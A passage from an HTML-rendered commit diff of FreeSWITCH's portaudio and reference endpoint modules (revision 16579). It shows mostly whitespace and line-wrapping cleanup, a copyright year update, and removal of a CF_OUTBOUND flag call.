</del><ins>+        /*.on_consume_media */ NULL,
+        /*.on_hibernate */ NULL,
+        /*.on_reset */ NULL,
+        /*.on_park */ NULL,
+        /*.on_reporting */ NULL,
+        /*.on_destroy */ channel_on_destroy
</ins><span class="cx"> };
</span><span class="cx">
</span><span class="cx"> switch_io_routines_t portaudio_io_routines = {
</span><span class="lines">@@ -729,7 +731,8 @@
</span><span class="cx"> */
</span><span class="cx"> static switch_call_cause_t channel_outgoing_channel(switch_core_session_t *session, switch_event_t *var_event,
</span><span class="cx">                                                                                                         switch_caller_profile_t *outbound_profile,
</span><del>-                                                                                                        switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause)
</del><ins>+                                                                                                        switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
+                                                                                                        switch_call_cause_t *cancel_cause)
</ins><span class="cx"> {
</span><span class="cx">
</span><span class="cx">         if ((*new_session = switch_core_session_request(portaudio_endpoint_interface, SWITCH_CALL_DIRECTION_OUTBOUND, pool)) != 0) {
</span><span class="lines">@@ -771,7 +774,6 @@
</span><span class="cx">                         return SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER;
</span><span class="cx">                 }
</span><span class="cx">
</span><del>-                switch_channel_set_flag(channel, CF_OUTBOUND);
</del><span class="cx">                 switch_set_flag_locked(tech_pvt, TFLAG_OUTBOUND);
</span><span class="cx">                 switch_channel_set_state(channel, CS_INIT);
</span><span class="cx">                 return SWITCH_CAUSE_SUCCESS;
</span><span class="lines">@@ -808,7 +810,7 @@
</span><span class="cx"> #if defined(sun) || defined(__sun)
</span><span class="cx">         globals.dual_streams = 0;
</span><span class="cx"> #endif
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((status = load_config()) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 return status;
</span><span class="cx">         }
</span><span class="lines">@@ -949,7 +951,7 @@
</span><span class="cx">         if (!globals.dialplan) {
</span><span class="cx">                 set_global_dialplan("XML");
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!globals.context) {
</span><span class="cx">                 set_global_context("default");
</span><span class="cx">         }
</span><span class="lines">@@ -1008,14 +1010,14 @@
</span><span class="cx">         deactivate_audio_device();
</span><span class="cx">         deactivate_ring_device();
</span><span class="cx">         destroy_codecs();
</span><del>-        
</del><ins>+
</ins><span class="cx">         Pa_Terminate();
</span><span class="cx">         switch_core_hash_destroy(&globals.call_hash);
</span><span class="cx">
</span><span class="cx">         switch_event_free_subclass(MY_EVENT_RINGING);
</span><span class="cx">         switch_event_free_subclass(MY_EVENT_MAKE_CALL);
</span><span class="cx">         switch_event_free_subclass(MY_EVENT_ERROR_AUDIO_DEV);
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_safe_free(globals.dialplan);
</span><span class="cx">         switch_safe_free(globals.context);
</span><span class="cx">         switch_safe_free(globals.cid_name);
</span><span class="lines">@@ -1135,21 +1137,22 @@
</span><span class="cx">                 for (i = 0; i < numDevices; i++) {
</span><span class="cx">                         deviceInfo = Pa_GetDeviceInfo(i);
</span><span class="cx">                         hostApiInfo = Pa_GetHostApiInfo(deviceInfo->hostApi);
</span><del>-                        stream->write_function(stream, "\t\t<device id=\"%d\" name=\"%s\" hostapi=\"%s\" inputs=\"%d\" outputs=\"%d\" />\n", i, deviceInfo->name, hostApiInfo->name, deviceInfo->maxInputChannels, deviceInfo->maxOutputChannels);
</del><ins>+                        stream->write_function(stream, "\t\t<device id=\"%d\" name=\"%s\" hostapi=\"%s\" inputs=\"%d\" outputs=\"%d\" />\n", i, deviceInfo->name,
+                                                                 hostApiInfo->name, deviceInfo->maxInputChannels, deviceInfo->maxOutputChannels);
</ins><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">                 stream->write_function(stream, "\t</devices>\n\t<bindings>\n"
</span><del>-                                "\t\t<ring device=\"%d\" />\n"
-                                "\t\t<input device=\"%d\" />\n"
-                                "\t\t<output device=\"%d\" />\n"
-                                "\t</bindings>\n</xml>\n", globals.ringdev, globals.indev, globals.outdev);
</del><ins>+                                                         "\t\t<ring device=\"%d\" />\n"
+                                                         "\t\t<input device=\"%d\" />\n"
+                                                         "\t\t<output device=\"%d\" />\n" "\t</bindings>\n</xml>\n", globals.ringdev, globals.indev, globals.outdev);
</ins><span class="cx">         } else {
</span><span class="cx">
</span><span class="cx">                 for (i = 0; i < numDevices; i++) {
</span><span class="cx">                         deviceInfo = Pa_GetDeviceInfo(i);
</span><span class="cx">                         hostApiInfo = Pa_GetHostApiInfo(deviceInfo->hostApi);
</span><span class="cx">
</span><del>-                        stream->write_function(stream, "%d;%s(%s);%d;%d;", i, deviceInfo->name, hostApiInfo->name, deviceInfo->maxInputChannels, deviceInfo->maxOutputChannels);
</del><ins>+                        stream->write_function(stream, "%d;%s(%s);%d;%d;", i, deviceInfo->name, hostApiInfo->name, deviceInfo->maxInputChannels,
+                                                                 deviceInfo->maxOutputChannels);
</ins><span class="cx">
</span><span class="cx">                         prev = 0;
</span><span class="cx">                         if (globals.ringdev == i) {
</span><span class="lines">@@ -1268,7 +1271,7 @@
</span><span class="cx">                 inputParameters.sampleFormat = paInt16;
</span><span class="cx">                 inputParameters.suggestedLatency = deviceInfo->defaultLowInputLatency;        /* ignored by Pa_IsFormatSupported() */
</span><span class="cx">                 inputParameters.hostApiSpecificStreamInfo = NULL;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 outputParameters.device = i;
</span><span class="cx">                 outputParameters.channelCount = deviceInfo->maxOutputChannels;
</span><span class="cx">                 outputParameters.sampleFormat = paInt16;
</span><span class="lines">@@ -1287,14 +1290,14 @@
</span><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">                 if (inputParameters.channelCount > 0 && outputParameters.channelCount > 0) {
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO,
</span><span class="cx">                                                          "full-duplex 16 bit %d channel input, %d channel output rates:", inputParameters.channelCount,
</span><span class="cx">                                                          outputParameters.channelCount);
</span><span class="cx">                         PrintSupportedStandardSampleRates(&inputParameters, &outputParameters);
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "%s", line);
</span><span class="cx">
</span><span class="cx">         return 0;
</span><span class="lines">@@ -1355,8 +1358,7 @@
</span><span class="cx">                 if (switch_core_codec_init(&globals.write_codec,
</span><span class="cx">                                                                  "L16",
</span><span class="cx">                                                                  NULL,
</span><del>-                                                                 sample_rate, codec_ms, 1, SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE, NULL,
-                                                                 NULL) != SWITCH_STATUS_SUCCESS) {
</del><ins>+                                                                 sample_rate, codec_ms, 1, SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE, NULL, NULL) != SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Can't load codec?\n");
</span><span class="cx">                         switch_core_codec_destroy(&globals.read_codec);
</span><span class="cx">                         return SWITCH_STATUS_FALSE;
</span><span class="lines">@@ -1428,7 +1430,7 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         switch_mutex_unlock(globals.device_lock);
</span><del>-                
</del><ins>+
</ins><span class="cx">         if (err != paNoError) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Can't open audio device\n");
</span><span class="cx">                 switch_core_codec_destroy(&globals.read_codec);
</span><span class="lines">@@ -1442,7 +1444,7 @@
</span><span class="cx">                 }
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Engage audio device rate: %d channels %d\n", sample_rate, outputParameters.channelCount);
</span><span class="cx">
</span><span class="cx">         engage_ring_device();
</span><span class="lines">@@ -1452,7 +1454,7 @@
</span><span class="cx">
</span><span class="cx"> static switch_status_t engage_ring_device(void)
</span><span class="cx"> {
</span><del>-        PaStreamParameters outputParameters = {0};
</del><ins>+        PaStreamParameters outputParameters = { 0 };
</ins><span class="cx">         PaError err;
</span><span class="cx">         int sample_rate = globals.sample_rate;
</span><span class="cx">         int channels = 1;
</span><span class="lines">@@ -1475,7 +1477,7 @@
</span><span class="cx">                 outputParameters.sampleFormat = SAMPLE_TYPE;
</span><span class="cx">                 outputParameters.suggestedLatency = Pa_GetDeviceInfo(outputParameters.device)->defaultLowOutputLatency;
</span><span class="cx">                 outputParameters.hostApiSpecificStreamInfo = NULL;
</span><del>-                err = OpenAudioStream(&globals.ring_stream, NULL,
</del><ins>+                err = OpenAudioStream(&globals.ring_stream, NULL,
</ins><span class="cx">                                                          &outputParameters, sample_rate, paClipOff, globals.read_codec.implementation->samples_per_packet, globals.dual_streams);
</span><span class="cx">                 /* UNLOCKED ************************************************************************************************* */
</span><span class="cx">                 switch_mutex_unlock(globals.device_lock);
</span><span class="lines">@@ -1490,7 +1492,7 @@
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx">
</span><span class="cx">
</span><del>- error:
</del><ins>+ error:
</ins><span class="cx">
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Can't open ring device\n");
</span><span class="cx">         return SWITCH_STATUS_FALSE;
</span><span class="lines">@@ -1526,8 +1528,8 @@
</span><span class="cx">         private_t *tp, *tech_pvt = NULL;
</span><span class="cx">         char *callid = argv[0];
</span><span class="cx">         uint8_t one_call = 0;
</span><del>-        
</del><span class="cx">
</span><ins>+
</ins><span class="cx">         switch_mutex_lock(globals.pvt_lock);
</span><span class="cx">         if (zstr(callid)) {
</span><span class="cx">                 if (globals.call_list) {
</span><span class="lines">@@ -1809,7 +1811,7 @@
</span><span class="cx">                         switch_channel_mark_answered(channel);
</span><span class="cx">                         switch_channel_set_state(channel, CS_INIT);
</span><span class="cx">                         if (switch_core_session_thread_launch(tech_pvt->session) != SWITCH_STATUS_SUCCESS) {
</span><del>- switch_event_t *event;
</del><ins>+                                switch_event_t *event;
</ins><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_CRIT, "Error spawning thread\n");
</span><span class="cx">                                 switch_core_session_destroy(&session);
</span><span class="cx">                                 stream->write_function(stream, "FAIL:Thread Error!\n");
</span><span class="lines">@@ -1878,8 +1880,7 @@
</span><span class="cx">                 "pa outdev #<num>|<partial name>\n"
</span><span class="cx">                 "pa ringdev #<num>|<partial name>\n"
</span><span class="cx">                 "pa play [ringtest|<filename>]\n"
</span><del>-                "pa ringfile [filename]\n"
-                "pa looptest\n" "--------------------------------------------------------------------------------\n";
</del><ins>+                "pa ringfile [filename]\n" "pa looptest\n" "--------------------------------------------------------------------------------\n";
</ins><span class="cx">
</span><span class="cx">
</span><span class="cx">         if (stream->param_event) {
</span><span class="lines">@@ -2029,7 +2030,7 @@
</span><span class="cx">                 int samples = 0;
</span><span class="cx">                 int seconds = 5;
</span><span class="cx">                 int wrote = 0;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (globals.call_list) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "ERROR: Cannot use this command this while a call is in progress\n");
</span><span class="cx">                         goto done;
</span><span class="lines">@@ -2050,7 +2051,7 @@
</span><span class="cx">                                                                          SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                 switch_size_t olen = globals.read_codec.implementation->samples_per_packet;
</span><span class="cx">                                 int16_t abuf[2048];
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (argv[2]) {
</span><span class="cx">                                         int i = atoi(argv[2]);
</span><span class="cx">                                         if (i >= 0) {
</span><span class="lines">@@ -2069,16 +2070,16 @@
</span><span class="cx">                                                 }
</span><span class="cx">                                         }
</span><span class="cx">                                         olen = globals.read_codec.implementation->samples_per_packet;
</span><del>-                                }
-                                
</del><ins>+                                }
+
</ins><span class="cx">                                 switch_core_file_close(&fh);
</span><span class="cx">                                 deactivate_audio_device();
</span><span class="cx">
</span><span class="cx">                                 seconds = wrote / globals.read_codec.implementation->actual_samples_per_second;
</span><del>-                                stream->write_function(stream, "playback test [%s] %d second(s) %d samples @%dkhz",
</del><ins>+                                stream->write_function(stream, "playback test [%s] %d second(s) %d samples @%dkhz",
</ins><span class="cx">                                                                          playfile, seconds, wrote, globals.read_codec.implementation->actual_samples_per_second);
</span><del>-                                
</del><span class="cx">
</span><ins>+
</ins><span class="cx">                         } else {
</span><span class="cx">                                 stream->write_function(stream, "Cannot play requested file %s\n", argv[1]);
</span><span class="cx">                         }
</span><span class="lines">@@ -2096,9 +2097,9 @@
</span><span class="cx">                         int samples = 0;
</span><span class="cx">                         int success = 0;
</span><span class="cx">                         int i;
</span><del>-                        for(i = 0; i < 400; i++) {
</del><ins>+                        for (i = 0; i < 400; i++) {
</ins><span class="cx">                                 if ((samples = ReadAudioStream(globals.audio_stream, globals.read_frame.data,
</span><del>-                                                globals.read_codec.implementation->samples_per_packet, &globals.read_timer))) {
</del><ins>+                                                                                         globals.read_codec.implementation->samples_per_packet, &globals.read_timer))) {
</ins><span class="cx">                                         WriteAudioStream(globals.audio_stream, globals.read_frame.data, (long) samples, &globals.write_timer);
</span><span class="cx">                                         success = 1;
</span><span class="cx">                                 }
</span><span class="lines">@@ -2117,10 +2118,10 @@
</span><span class="cx">                         if (engage_device(0) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                 switch_file_handle_t fh = { 0 };
</span><span class="cx">                                 if (switch_core_file_open(&fh,
</span><del>-                                                        argv[1],
-                                                        globals.read_codec.implementation->number_of_channels,
-                                                        globals.read_codec.implementation->actual_samples_per_second,
-                                                        SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) == SWITCH_STATUS_SUCCESS) {
</del><ins>+                                                                                 argv[1],
+                                                                                 globals.read_codec.implementation->number_of_channels,
+                                                                                 globals.read_codec.implementation->actual_samples_per_second,
+                                                                                 SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) == SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                                         switch_core_file_close(&fh);
</span><span class="cx">                                         set_global_ring_file(argv[1]);
</span><span class="cx">                                 } else {
</span></span></pre></div>
<a id="freeswitchtrunksrcmodendpointsmod_portaudiopablioc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/endpoints/mod_portaudio/pablio.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/endpoints/mod_portaudio/pablio.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/endpoints/mod_portaudio/pablio.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -56,12 +56,14 @@
</span><span class="cx"> /************************************************************************/
</span><span class="cx">
</span><span class="cx"> static int iblockingIOCallback(const void *inputBuffer, void *outputBuffer,
</span><del>-                                                         unsigned long framesPerBuffer, const PaStreamCallbackTimeInfo * timeInfo, PaStreamCallbackFlags statusFlags, void *userData);
-static int oblockingIOCallback(const void *inputBuffer, void *outputBuffer,
-                                                         unsigned long framesPerBuffer, const PaStreamCallbackTimeInfo * timeInfo, PaStreamCallbackFlags statusFlags, void *userData);
</del><ins>+                                                         unsigned long framesPerBuffer, const PaStreamCallbackTimeInfo * timeInfo, PaStreamCallbackFlags statusFlags,
+                                                         void *userData);
+static int oblockingIOCallback(const void *inputBuffer, void *outputBuffer, unsigned long framesPerBuffer, const PaStreamCallbackTimeInfo * timeInfo,
+                                                         PaStreamCallbackFlags statusFlags, void *userData);
</ins><span class="cx">
</span><span class="cx"> static int ioblockingIOCallback(const void *inputBuffer, void *outputBuffer,
</span><del>-                                                                unsigned long framesPerBuffer, const PaStreamCallbackTimeInfo * timeInfo, PaStreamCallbackFlags statusFlags, void *userData);
</del><ins>+                                                                unsigned long framesPerBuffer, const PaStreamCallbackTimeInfo * timeInfo, PaStreamCallbackFlags statusFlags,
+                                                                void *userData);
</ins><span class="cx">
</span><span class="cx"> static PaError PABLIO_InitFIFO(PaUtilRingBuffer * rbuf, long numFrames, long bytesPerFrame);
</span><span class="cx"> static PaError PABLIO_TermFIFO(PaUtilRingBuffer * rbuf);
</span><span class="lines">@@ -74,7 +76,7 @@
</span><span class="cx"> * Read and write data
</span><span class="cx"> */
</span><span class="cx"> static int iblockingIOCallback(const void *inputBuffer, void *outputBuffer,
</span><del>-                                                         unsigned long framesPerBuffer, const PaStreamCallbackTimeInfo * timeInfo, PaStreamCallbackFlags statusFlags, void *userData)
</del><ins>+                                                         unsigned long framesPerBuffer, const PaStreamCallbackTimeInfo * timeInfo, PaStreamCallbackFlags statusFlags, void *userData)
</ins><span class="cx"> {
</span><span class="cx">         PABLIO_Stream *data = (PABLIO_Stream *) userData;
</span><span class="cx">         long numBytes = data->bytesPerFrame * framesPerBuffer;
</span><span class="lines">@@ -91,7 +93,7 @@
</span><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static int oblockingIOCallback(const void *inputBuffer, void *outputBuffer,
</span><del>-                                                         unsigned long framesPerBuffer, const PaStreamCallbackTimeInfo * timeInfo, PaStreamCallbackFlags statusFlags, void *userData)
</del><ins>+                                                         unsigned long framesPerBuffer, const PaStreamCallbackTimeInfo * timeInfo, PaStreamCallbackFlags statusFlags, void *userData)
</ins><span class="cx"> {
</span><span class="cx">         PABLIO_Stream *data = (PABLIO_Stream *) userData;
</span><span class="cx">         long numBytes = data->bytesPerFrame * framesPerBuffer;
</span><span class="lines">@@ -109,7 +111,8 @@
</span><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static int ioblockingIOCallback(const void *inputBuffer, void *outputBuffer,
</span><del>-                                                         unsigned long framesPerBuffer, const PaStreamCallbackTimeInfo * timeInfo, PaStreamCallbackFlags statusFlags, void *userData)
</del><ins>+                                                                unsigned long framesPerBuffer, const PaStreamCallbackTimeInfo * timeInfo, PaStreamCallbackFlags statusFlags,
+                                                                void *userData)
</ins><span class="cx"> {
</span><span class="cx">         iblockingIOCallback(inputBuffer, outputBuffer, framesPerBuffer, timeInfo, statusFlags, userData);
</span><span class="cx">         oblockingIOCallback(inputBuffer, outputBuffer, framesPerBuffer, timeInfo, statusFlags, userData);
</span><span class="lines">@@ -151,7 +154,7 @@
</span><span class="cx">         bytesWritten = PaUtil_WriteRingBuffer(&aStream->outFIFO, p, numBytes);
</span><span class="cx">         numBytes -= bytesWritten;
</span><span class="cx">         p += bytesWritten;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (numBytes > 0) {
</span><span class="cx">                 PaUtil_FlushRingBuffer(&aStream->outFIFO);
</span><span class="cx">                 return 0;
</span><span class="lines">@@ -172,7 +175,7 @@
</span><span class="cx">
</span><span class="cx">         switch_core_timer_next(timer);
</span><span class="cx">
</span><del>-        while(totalBytes < neededBytes && --max > 0) {
</del><ins>+        while (totalBytes < neededBytes && --max > 0) {
</ins><span class="cx">
</span><span class="cx">                 avail = PaUtil_GetRingBufferReadAvailable(&aStream->inFIFO);
</span><span class="cx">                 //printf("AVAILABLE BYTES %ld pass %d\n", avail, 5000 - max);
</span><span class="lines">@@ -182,7 +185,7 @@
</span><span class="cx">                 } else {
</span><span class="cx">
</span><span class="cx">                         bytesRead = 0;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (totalBytes < neededBytes && avail >= neededBytes) {
</span><span class="cx">                                 bytesRead = PaUtil_ReadRingBuffer(&aStream->inFIFO, p, neededBytes);
</span><span class="cx">                                 totalBytes += bytesRead;
</span><span class="lines">@@ -241,10 +244,7 @@
</span><span class="cx"> */
</span><span class="cx"> PaError OpenAudioStream(PABLIO_Stream ** rwblPtr,
</span><span class="cx">                                                 const PaStreamParameters * inputParameters,
</span><del>-                                                const PaStreamParameters * outputParameters,
-                                                double sampleRate, PaStreamFlags streamFlags,
-                                                long samples_per_packet,
-                                                int do_dual)
</del><ins>+                                                const PaStreamParameters * outputParameters, double sampleRate, PaStreamFlags streamFlags, long samples_per_packet, int do_dual)
</ins><span class="cx"> {
</span><span class="cx">         long bytesPerSample = 2;
</span><span class="cx">         PaError err;
</span><span class="lines">@@ -261,7 +261,7 @@
</span><span class="cx">         aStream = (PABLIO_Stream *) malloc(sizeof(PABLIO_Stream));
</span><span class="cx">         switch_assert(aStream);
</span><span class="cx">         memset(aStream, 0, sizeof(PABLIO_Stream));
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (inputParameters) {
</span><span class="cx">                 channels = inputParameters->channelCount;
</span><span class="cx">         } else if (outputParameters) {
</span><span class="lines">@@ -278,7 +278,7 @@
</span><span class="cx">                 if (err != paNoError) {
</span><span class="cx">                         goto error;
</span><span class="cx">                 }
</span><del>-                aStream-> has_in = 1;
</del><ins>+                aStream->has_in = 1;
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         if (outputParameters) {
</span><span class="lines">@@ -286,13 +286,13 @@
</span><span class="cx">                 if (err != paNoError) {
</span><span class="cx">                         goto error;
</span><span class="cx">                 }
</span><del>-                aStream-> has_out = 1;
</del><ins>+                aStream->has_out = 1;
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         /* Open a PortAudio stream that we will use to communicate with the underlying
</span><span class="cx">          * audio drivers. */
</span><span class="cx">
</span><del>-        aStream->do_dual = do_dual;        
</del><ins>+        aStream->do_dual = do_dual;
</ins><span class="cx">
</span><span class="cx">         if (aStream->do_dual) {
</span><span class="cx">                 err = Pa_OpenStream(&aStream->istream, inputParameters, NULL, sampleRate, samples_per_packet, streamFlags, iblockingIOCallback, aStream);
</span><span class="lines">@@ -304,16 +304,18 @@
</span><span class="cx">                         goto error;
</span><span class="cx">                 }
</span><span class="cx">         } else {
</span><del>-                err = Pa_OpenStream(&aStream->iostream, inputParameters, outputParameters, sampleRate, samples_per_packet, streamFlags, ioblockingIOCallback, aStream);
</del><ins>+                err =
+                        Pa_OpenStream(&aStream->iostream, inputParameters, outputParameters, sampleRate, samples_per_packet, streamFlags, ioblockingIOCallback,
+                                                 aStream);
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         if (err != paNoError) {
</span><span class="cx">                 goto error;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (aStream->do_dual) {
</span><span class="cx">                 err = Pa_StartStream(aStream->istream);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (err != paNoError) {
</span><span class="cx">                         goto error;
</span><span class="cx">                 }
</span><span class="lines">@@ -335,7 +337,7 @@
</span><span class="cx">         *rwblPtr = aStream;
</span><span class="cx">
</span><span class="cx">         switch_yield(500000);
</span><del>-        
</del><ins>+
</ins><span class="cx">         return paNoError;
</span><span class="cx">
</span><span class="cx"> error:
</span><span class="lines">@@ -352,7 +354,7 @@
</span><span class="cx">         int bytesEmpty;
</span><span class="cx">         int byteSize;
</span><span class="cx">
</span><del>-        
</del><ins>+
</ins><span class="cx">         byteSize = aStream->outFIFO.bufferSize;
</span><span class="cx">
</span><span class="cx">         if (aStream->has_out) {
</span><span class="lines">@@ -375,7 +377,7 @@
</span><span class="cx">                         Pa_CloseStream(aStream->istream);
</span><span class="cx">                         aStream->istream = NULL;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (aStream->has_out && aStream->ostream) {
</span><span class="cx">                         if (Pa_IsStreamActive(aStream->ostream)) {
</span><span class="cx">                                 Pa_StopStream(aStream->ostream);
</span><span class="lines">@@ -384,7 +386,7 @@
</span><span class="cx">                         Pa_CloseStream(aStream->ostream);
</span><span class="cx">                         aStream->ostream = NULL;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">         } else {
</span><span class="cx">                 if (aStream->iostream) {
</span><span class="cx">                         if (Pa_IsStreamActive(aStream->iostream)) {
</span><span class="lines">@@ -396,10 +398,10 @@
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        if (aStream->has_in) {        
</del><ins>+        if (aStream->has_in) {
</ins><span class="cx">                 PABLIO_TermFIFO(&aStream->inFIFO);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (aStream->has_out) {
</span><span class="cx">                 PABLIO_TermFIFO(&aStream->outFIFO);
</span><span class="cx">         }
</span><span class="lines">@@ -409,4 +411,3 @@
</span><span class="cx">
</span><span class="cx">         return paNoError;
</span><span class="cx"> }
</span><del>-
</del></span></pre></div>
<a id="freeswitchtrunksrcmodendpointsmod_portaudiopablioh"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/endpoints/mod_portaudio/pablio.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/endpoints/mod_portaudio/pablio.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/endpoints/mod_portaudio/pablio.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -109,7 +109,7 @@
</span><span class="cx"> */
</span><span class="cx">         PaError OpenAudioStream(PABLIO_Stream ** rwblPtr,
</span><span class="cx">                                                         const PaStreamParameters * inputParameters,
</span><del>-                                                        const PaStreamParameters * outputParameters,
</del><ins>+                                                        const PaStreamParameters * outputParameters,
</ins><span class="cx">                                                         double sampleRate, PaStreamCallbackFlags statusFlags, long samples_per_packet, int do_dual);
</span><span class="cx">
</span><span class="cx">         PaError CloseAudioStream(PABLIO_Stream * aStream);
</span></span></pre></div>
<a id="freeswitchtrunksrcmodendpointsmod_referencemod_referencec"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/endpoints/mod_reference/mod_reference.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/endpoints/mod_reference/mod_reference.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/endpoints/mod_reference/mod_reference.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -106,7 +106,8 @@
</span><span class="cx"> static switch_status_t channel_on_soft_execute(switch_core_session_t *session);
</span><span class="cx"> static switch_call_cause_t channel_outgoing_channel(switch_core_session_t *session, switch_event_t *var_event,
</span><span class="cx">                                                                                                         switch_caller_profile_t *outbound_profile,
</span><del>-                                                                                                        switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause);
</del><ins>+                                                                                                        switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
+                                                                                                        switch_call_cause_t *cancel_cause);
</ins><span class="cx"> static switch_status_t channel_read_frame(switch_core_session_t *session, switch_frame_t **frame, switch_io_flag_t flags, int stream_id);
</span><span class="cx"> static switch_status_t channel_write_frame(switch_core_session_t *session, switch_frame_t *frame, switch_io_flag_t flags, int stream_id);
</span><span class="cx"> static switch_status_t channel_kill_channel(switch_core_session_t *session, int sig);
</span><span class="lines">@@ -200,7 +201,7 @@
</span><span class="cx">                 if (switch_core_codec_ready(&tech_pvt->read_codec)) {
</span><span class="cx">                         switch_core_codec_destroy(&tech_pvt->read_codec);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (switch_core_codec_ready(&tech_pvt->write_codec)) {
</span><span class="cx">                         switch_core_codec_destroy(&tech_pvt->write_codec);
</span><span class="cx">                 }
</span><span class="lines">@@ -414,7 +415,8 @@
</span><span class="cx"> */
</span><span class="cx"> static switch_call_cause_t channel_outgoing_channel(switch_core_session_t *session, switch_event_t *var_event,
</span><span class="cx">                                                                                                         switch_caller_profile_t *outbound_profile,
</span><del>-                                                                                                        switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause)
</del><ins>+                                                                                                        switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
+                                                                                                        switch_call_cause_t *cancel_cause)
</ins><span class="cx"> {
</span><span class="cx">         if ((*new_session = switch_core_session_request(reference_endpoint_interface, SWITCH_CALL_DIRECTION_OUTBOUND, pool)) != 0) {
</span><span class="cx">                 private_t *tech_pvt;
</span><span class="lines">@@ -447,8 +449,6 @@
</span><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">
</span><del>-
-                switch_channel_set_flag(channel, CF_OUTBOUND);
</del><span class="cx">                 switch_set_flag_locked(tech_pvt, TFLAG_OUTBOUND);
</span><span class="cx">                 switch_channel_set_state(channel, CS_INIT);
</span><span class="cx">                 return SWITCH_CAUSE_SUCCESS;
</span><span class="lines">@@ -480,13 +480,12 @@
</span><span class="cx">         /*.on_hangup */ channel_on_hangup,
</span><span class="cx">         /*.on_exchange_media */ channel_on_exchange_media,
</span><span class="cx">         /*.on_soft_execute */ channel_on_soft_execute,
</span><del>-        /*.on_consume_media*/ NULL,
- /*.on_hibernate*/ NULL,
- /*.on_reset*/ NULL,
- /*.on_park*/ NULL,
